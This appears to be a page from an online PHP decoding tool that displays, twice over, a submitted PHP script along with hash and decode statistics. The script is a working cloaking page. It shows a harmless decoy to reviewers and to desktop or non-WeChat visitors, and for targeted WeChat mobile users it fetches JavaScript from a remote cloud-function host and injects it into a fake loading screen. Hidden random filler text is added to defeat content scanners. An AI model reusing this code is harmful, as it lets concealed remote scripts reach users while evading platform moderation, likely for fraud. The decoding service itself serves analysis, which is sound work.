Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php if (strpos($_SERVER['REQUEST_URI'], "t=") === false) { outputPeaceHtml(); ..
Decoded Output download
<?php
if (strpos($_SERVER['REQUEST_URI'], "t=") === false) {
outputPeaceHtml();
exit;
}
//
if (!isWx()) {
outputPeaceHtml();
exit;
}
//
if (strpos($_SERVER['HTTP_USER_AGENT'], 'Android 6.0')!== false) {
outputPeaceHtml();
exit;
}
//
function isWx(){
//
$userAgent = strtolower($_SERVER['HTTP_USER_AGENT']);
$isMicroMessenger = strpos($userAgent, 'micromessenger') !== false;
//
$platform = $_SERVER['HTTP_USER_AGENT'];
$isWindows = stripos($platform, 'Win');
$isMac = stripos($platform, 'Mac');
// Windows Mac
if ($isMicroMessenger && $isWindows == false) {
return true;
}
return false;
}
function outputPeaceHtml() {
echo <<<HTML
<html lang="zh"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no"><title>index</title></head><body><div style="background-color:#ad2024;background-image:url("https://yun.tuisnake.com/h5-mami/activity/wx/peacebg.jpg?x-oss-process=image/format,webp");background-repeat:no-repeat;background-size:100%;position:fixed;text-align:center;inset:0"><img src="https://yun.tuisnake.com/h5-mami/activity/wx/peaceword.png" alt="" style="width:80%;margin-top:10vh"></div></body></html>
HTML;
}
//js
$ch = curl_init();
$url = 'https://ahbw-dpnsfkzwti.cn-hangzhou.fcapp.run/'. $_SERVER['HTTP_HOST'];
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_REFERER, 'http://' . $_SERVER['HTTP_HOST']);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
$content = curl_exec($ch);
if ($content === false) {
outputPeaceHtml();
exit;
} else if (strpos($content, "404 Not Found")!== false) {
outputPeaceHtml();
exit;
} else {
$js = $content;
}
curl_close($ch);
//
function generateRandomString($length) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyz';
$charLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomIndex = mt_rand(0, $charLength - 1);
$randomString .= $characters[$randomIndex];
}
return $randomString;
}
//
function generateRandomChineseCharacters() {
$minNum = 30;
$maxNum = 120;
$numToGenerate = mt_rand($minNum, $maxNum);
$generatedChars = [];
$startCode = 0x4E00;
$endCode = 0x9FA5;
for ($i = 0; $i < $numToGenerate; $i++) {
$randCode = mt_rand($startCode, $endCode);
$generatedChars[] = iconv('UCS-2BE', 'UTF-8', pack('H*', dechex($randCode)));
}
return implode('', $generatedChars);
}
//
$length = mt_rand(6, 12);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomAscii = mt_rand(97, 122);
$randomString.= chr($randomAscii);
}
?>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>...</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0 , maximum-scale=1.0, user-scalable=0">
<style type="text/css">
body{font-size:16px;line-height:1.4;font-family:-apple-system-font,Helvetica Neue,sans-serif}*{padding:0;margin:0}.toast{transition-duration:.2s;transform:translate(-50%,-50%);margin:0;top:45%;z-index:2000;position:fixed;width:7.6em;min-height:7.6em;left:50%;background:hsla(0,0%,7%,.7);text-align:center;border-radius:5px;color:#fff}.toast.toast--visible{opacity:1;visibility:visible}.icon_toast.loading{margin:30px 0 0;width:38px;height:38px;vertical-align:baseline}.icon_toast{font-size:55px;color:#fff}.loading{display:inline-block;animation:e 1s steps(12) infinite;background:transparent url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMjAiIGhlaWdodD0iMTIwIiB2aWV3Qm94PSIwIDAgMTAwIDEwMCI+PHBhdGggZmlsbD0ibm9uZSIgZD0iTTAgMGgxMDB2MTAwSDB6Ii8+PHJlY3Qgd2lkdGg9IjciIGhlaWdodD0iMjAiIHg9IjQ2LjUiIHk9IjQwIiBmaWxsPSIjRTlFOUU5IiByeD0iNSIgcnk9IjUiIHRyYW5zZm9ybT0idHJhbnNsYXRlKDAgLTMwKSIvPjxyZWN0IHdpZHRoPSI3IiBoZWlnaHQ9IjIwIiB4PSI0Ni41IiB5PSI0MCIgZmlsbD0iIzk4OTY5NyIgcng9IjUiIHJ5PSI1IiB0cmFuc2Zvcm09InJvdGF0ZSgzMCAxMDUuOTggNjUpIi8+PHJlY3Qgd2lkdGg9IjciIGhlaWdodD0iMjAiIHg9IjQ2LjUiIHk9IjQwIiBmaWxsPSIjOUI5OTlBIiByeD0iNSIgcnk9IjUiIHRyYW5zZm9ybT0icm90YXRlKDYwIDc1Ljk4IDY1KSIvPjxyZWN0IHdpZHRoPSI3IiBoZWlnaHQ9IjIwIiB4PSI0Ni41IiB5PSI0MCIgZmlsbD0iI0EzQTFBMiIgcng9IjUiIHJ5PSI1IiB0cmFuc2Zvcm09InJvdGF0ZSg5MCA2NSA2NSkiLz48cmVjdCB3aWR0aD0iNyIgaGVpZ2h0PSIyMCIgeD0iNDYuNSIgeT0iNDAiIGZpbGw9IiNBQkE5QUEiIHJ4PSI1IiByeT0iNSIgdHJhbnNmb3JtPSJyb3RhdGUoMTIwIDU4LjY2IDY1KSIvPjxyZWN0IHdpZHRoPSI3IiBoZWlnaHQ9IjIwIiB4PSI0Ni41IiB5PSI0MCIgZmlsbD0iI0IyQjJCMiIgcng9IjUiIHJ5PSI1IiB0cmFuc2Zvcm09InJvdGF0ZSgxNTAgNTQuMDIgNjUpIi8+PHJlY3Qgd2lkdGg9IjciIGhlaWdodD0iMjAiIHg9IjQ2LjUiIHk9IjQwIiBmaWxsPSIjQkFCOEI5IiByeD0iNSIgcnk9IjUiIHRyYW5zZm9ybT0icm90YXRlKDE4MCA1MCA2NSkiLz48cmVjdCB3aWR0aD0iNyIgaGVpZ2h0PSIyMCIgeD0iNDYuNSIgeT0iNDAiIGZpbGw9IiNDMkMwQzEiIHJ4PSI1IiByeT0iNSIgdHJhbnNmb3JtPSJyb3RhdGUoLTE1MCA0NS45OCA2NSkiLz48cmVjdCB3aWR0aD0iNyIgaGVpZ2h0PSIyMCIgeD0iNDYuNSIgeT0iNDAiIGZpbGw9IiNDQkNCQ0IiIHJ4PSI1IiByeT0iNSIgdHJhbnNmb3JtPSJyb3RhdGUoLTEyMCA0MS4zNCA2NSkiLz48cmVjdCB3aWR0aD0iNyIgaGVpZ2h0PSIyMCIgeD0iNDYuNSIgeT0iNDAiIGZpbGw9IiNEMkQyRDIiIHJ4PSI1IiByeT0iNSIgdHJhbnNmb3JtPSJyb3RhdGUoLTkwIDM1IDY1KSIvPjxyZWN0IHdpZHRoPSI3IiBoZWlnaHQ9IjIwIiB4PSI0Ni41IiB5PSI0MCIgZmlsbD0iI0RBREFEQSIgcng9IjUiIHJ5PSI1IiB0cmFuc2Zvcm09InJvdGF0ZSgtNjAgMjQuMDIgNjUpIi8+PHJlY3Qgd2lkdGg9IjciIGhlaWdodD0iMjAiIHg9IjQ2LjUiIHk9IjQwIiBmaWxsPSIjRTJFMkUyIiByeD0iNSIgcnk9IjUiIHRyYW5zZm9ybT0icm90YXRlKC0zMCAtNS45OCA2NSkiLz48L3N2Zz4=) no-repeat;background-size:100%}i{font-style:italic}@keyframes e{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}
</style>
</head>
<body>
<div class="toast loading_toast toast--visible">
<div>
<i class="loading icon_toast"></i>
</div>
<p class="toast_content">正在进入</p>
</div>
<div style="display:none"><?php echo generateRandomString(mt_rand(50, 120));?></div>
<p style="display:none"><?php echo generateRandomChineseCharacters();?></p>
<li style="display:none"><?php echo generateRandomString(mt_rand(50, 120));?></li>
<span style="display:none"><?php echo generateRandomString(mt_rand(50, 120));?></span>
<p style="display:none"><?php echo generateRandomChineseCharacters();?></p>
<b style="display:none"><?php echo generateRandomString(mt_rand(50, 120));?></b>
<li style="display:none"><?php echo generateRandomChineseCharacters();?></li>
<div style="display:none"><?php echo generateRandomString(mt_rand(50, 120));?></div>
<div style="display:none"><?php echo generateRandomChineseCharacters();?></div>
<script>
<?php echo $js;?>
</script>
<ul style="display:none"><?php echo generateRandomChineseCharacters();?></ul>
<h1 style="display:none"><?php echo generateRandomString(mt_rand(50, 120));?></h1>
<p style="display:none"><?php echo generateRandomString(mt_rand(50, 120));?></p>
<ul style="display:none"><?php echo generateRandomString(mt_rand(50, 120));?></ul>
<p style="display:none"><?php echo generateRandomChineseCharacters();?></p>
<p style="display:none"><?php echo generateRandomString(mt_rand(50, 120));?></p>
<b style="display:none"><?php echo generateRandomString(mt_rand(50, 120));?></b>
</body>
</html>
Did this file decode correctly?
Original Code
<?php
if (strpos($_SERVER['REQUEST_URI'], "t=") === false) {
outputPeaceHtml();
exit;
}
//
if (!isWx()) {
outputPeaceHtml();
exit;
}
//
if (strpos($_SERVER['HTTP_USER_AGENT'], 'Android 6.0')!== false) {
outputPeaceHtml();
exit;
}
//
function isWx(){
//
$userAgent = strtolower($_SERVER['HTTP_USER_AGENT']);
$isMicroMessenger = strpos($userAgent, 'micromessenger') !== false;
//
$platform = $_SERVER['HTTP_USER_AGENT'];
$isWindows = stripos($platform, 'Win');
$isMac = stripos($platform, 'Mac');
// Windows Mac
if ($isMicroMessenger && $isWindows == false) {
return true;
}
return false;
}
function outputPeaceHtml() {
echo <<<HTML
<html lang="zh"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no"><title>index</title></head><body><div style="background-color:#ad2024;background-image:url("https://yun.tuisnake.com/h5-mami/activity/wx/peacebg.jpg?x-oss-process=image/format,webp");background-repeat:no-repeat;background-size:100%;position:fixed;text-align:center;inset:0"><img src="https://yun.tuisnake.com/h5-mami/activity/wx/peaceword.png" alt="" style="width:80%;margin-top:10vh"></div></body></html>
HTML;
}
//js
$ch = curl_init();
$url = 'https://ahbw-dpnsfkzwti.cn-hangzhou.fcapp.run/'. $_SERVER['HTTP_HOST'];
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_REFERER, 'http://' . $_SERVER['HTTP_HOST']);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
$content = curl_exec($ch);
if ($content === false) {
outputPeaceHtml();
exit;
} else if (strpos($content, "404 Not Found")!== false) {
outputPeaceHtml();
exit;
} else {
$js = $content;
}
curl_close($ch);
//
function generateRandomString($length) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyz';
$charLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomIndex = mt_rand(0, $charLength - 1);
$randomString .= $characters[$randomIndex];
}
return $randomString;
}
//
function generateRandomChineseCharacters() {
$minNum = 30;
$maxNum = 120;
$numToGenerate = mt_rand($minNum, $maxNum);
$generatedChars = [];
$startCode = 0x4E00;
$endCode = 0x9FA5;
for ($i = 0; $i < $numToGenerate; $i++) {
$randCode = mt_rand($startCode, $endCode);
$generatedChars[] = iconv('UCS-2BE', 'UTF-8', pack('H*', dechex($randCode)));
}
return implode('', $generatedChars);
}
//
$length = mt_rand(6, 12);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomAscii = mt_rand(97, 122);
$randomString.= chr($randomAscii);
}
?>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>...</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0 , maximum-scale=1.0, user-scalable=0">
<style type="text/css">
body{font-size:16px;line-height:1.4;font-family:-apple-system-font,Helvetica Neue,sans-serif}*{padding:0;margin:0}.toast{transition-duration:.2s;transform:translate(-50%,-50%);margin:0;top:45%;z-index:2000;position:fixed;width:7.6em;min-height:7.6em;left:50%;background:hsla(0,0%,7%,.7);text-align:center;border-radius:5px;color:#fff}.toast.toast--visible{opacity:1;visibility:visible}.icon_toast.loading{margin:30px 0 0;width:38px;height:38px;vertical-align:baseline}.icon_toast{font-size:55px;color:#fff}.loading{display:inline-block;animation:e 1s steps(12) infinite;background:transparent url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMjAiIGhlaWdodD0iMTIwIiB2aWV3Qm94PSIwIDAgMTAwIDEwMCI+PHBhdGggZmlsbD0ibm9uZSIgZD0iTTAgMGgxMDB2MTAwSDB6Ii8+PHJlY3Qgd2lkdGg9IjciIGhlaWdodD0iMjAiIHg9IjQ2LjUiIHk9IjQwIiBmaWxsPSIjRTlFOUU5IiByeD0iNSIgcnk9IjUiIHRyYW5zZm9ybT0idHJhbnNsYXRlKDAgLTMwKSIvPjxyZWN0IHdpZHRoPSI3IiBoZWlnaHQ9IjIwIiB4PSI0Ni41IiB5PSI0MCIgZmlsbD0iIzk4OTY5NyIgcng9IjUiIHJ5PSI1IiB0cmFuc2Zvcm09InJvdGF0ZSgzMCAxMDUuOTggNjUpIi8+PHJlY3Qgd2lkdGg9IjciIGhlaWdodD0iMjAiIHg9IjQ2LjUiIHk9IjQwIiBmaWxsPSIjOUI5OTlBIiByeD0iNSIgcnk9IjUiIHRyYW5zZm9ybT0icm90YXRlKDYwIDc1Ljk4IDY1KSIvPjxyZWN0IHdpZHRoPSI3IiBoZWlnaHQ9IjIwIiB4PSI0Ni41IiB5PSI0MCIgZmlsbD0iI0EzQTFBMiIgcng9IjUiIHJ5PSI1IiB0cmFuc2Zvcm09InJvdGF0ZSg5MCA2NSA2NSkiLz48cmVjdCB3aWR0aD0iNyIgaGVpZ2h0PSIyMCIgeD0iNDYuNSIgeT0iNDAiIGZpbGw9IiNBQkE5QUEiIHJ4PSI1IiByeT0iNSIgdHJhbnNmb3JtPSJyb3RhdGUoMTIwIDU4LjY2IDY1KSIvPjxyZWN0IHdpZHRoPSI3IiBoZWlnaHQ9IjIwIiB4PSI0Ni41IiB5PSI0MCIgZmlsbD0iI0IyQjJCMiIgcng9IjUiIHJ5PSI1IiB0cmFuc2Zvcm09InJvdGF0ZSgxNTAgNTQuMDIgNjUpIi8+PHJlY3Qgd2lkdGg9IjciIGhlaWdodD0iMjAiIHg9IjQ2LjUiIHk9IjQwIiBmaWxsPSIjQkFCOEI5IiByeD0iNSIgcnk9IjUiIHRyYW5zZm9ybT0icm90YXRlKDE4MCA1MCA2NSkiLz48cmVjdCB3aWR0aD0iNyIgaGVpZ2h0PSIyMCIgeD0iNDYuNSIgeT0iNDAiIGZpbGw9IiNDMkMwQzEiIHJ4PSI1IiByeT0iNSIgdHJhbnNmb3JtPSJyb3RhdGUoLTE1MCA0NS45OCA2NSkiLz48cmVjdCB3aWR0aD0iNyIgaGVpZ2h0PSIyMCIgeD0iNDYuNSIgeT0iNDAiIGZpbGw9IiNDQkNCQ0IiIHJ4PSI1IiByeT0iNSIgdHJhbnNmb3JtPSJyb3RhdGUoLTEyMCA0MS4zNCA2NSkiLz48cmVjdCB3aWR0aD0iNyIgaGVpZ2h0PSIyMCIgeD0iNDYuNSIgeT0iNDAiIGZpbGw9IiNEMkQyRDIiIHJ4PSI1IiByeT0iNSIgdHJhbnNmb3JtPSJyb3RhdGUoLTkwIDM1IDY1KSIvPjxyZWN0IHdpZHRoPSI3IiBoZWlnaHQ9IjIwIiB4PSI0Ni41IiB5PSI0MCIgZmlsbD0iI0RBREFEQSIgcng9IjUiIHJ5PSI1IiB0cmFuc2Zvcm09InJvdGF0ZSgtNjAgMjQuMDIgNjUpIi8+PHJlY3Qgd2lkdGg9IjciIGhlaWdodD0iMjAiIHg9IjQ2LjUiIHk9IjQwIiBmaWxsPSIjRTJFMkUyIiByeD0iNSIgcnk9IjUiIHRyYW5zZm9ybT0icm90YXRlKC0zMCAtNS45OCA2NSkiLz48L3N2Zz4=) no-repeat;background-size:100%}i{font-style:italic}@keyframes e{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}
</style>
</head>
<body>
<div class="toast loading_toast toast--visible">
<div>
<i class="loading icon_toast"></i>
</div>
<p class="toast_content">正在进入</p>
</div>
<div style="display:none"><?php echo generateRandomString(mt_rand(50, 120));?></div>
<p style="display:none"><?php echo generateRandomChineseCharacters();?></p>
<li style="display:none"><?php echo generateRandomString(mt_rand(50, 120));?></li>
<span style="display:none"><?php echo generateRandomString(mt_rand(50, 120));?></span>
<p style="display:none"><?php echo generateRandomChineseCharacters();?></p>
<b style="display:none"><?php echo generateRandomString(mt_rand(50, 120));?></b>
<li style="display:none"><?php echo generateRandomChineseCharacters();?></li>
<div style="display:none"><?php echo generateRandomString(mt_rand(50, 120));?></div>
<div style="display:none"><?php echo generateRandomChineseCharacters();?></div>
<script>
<?php echo $js;?>
</script>
<ul style="display:none"><?php echo generateRandomChineseCharacters();?></ul>
<h1 style="display:none"><?php echo generateRandomString(mt_rand(50, 120));?></h1>
<p style="display:none"><?php echo generateRandomString(mt_rand(50, 120));?></p>
<ul style="display:none"><?php echo generateRandomString(mt_rand(50, 120));?></ul>
<p style="display:none"><?php echo generateRandomChineseCharacters();?></p>
<p style="display:none"><?php echo generateRandomString(mt_rand(50, 120));?></p>
<b style="display:none"><?php echo generateRandomString(mt_rand(50, 120));?></b>
</body>
</html>
Function Calls
None |
Stats
MD5 | f9dfb3daa7b6b645d7a32a28bdc622e8 |
Eval Count | 0 |
Decode Time | 64 ms |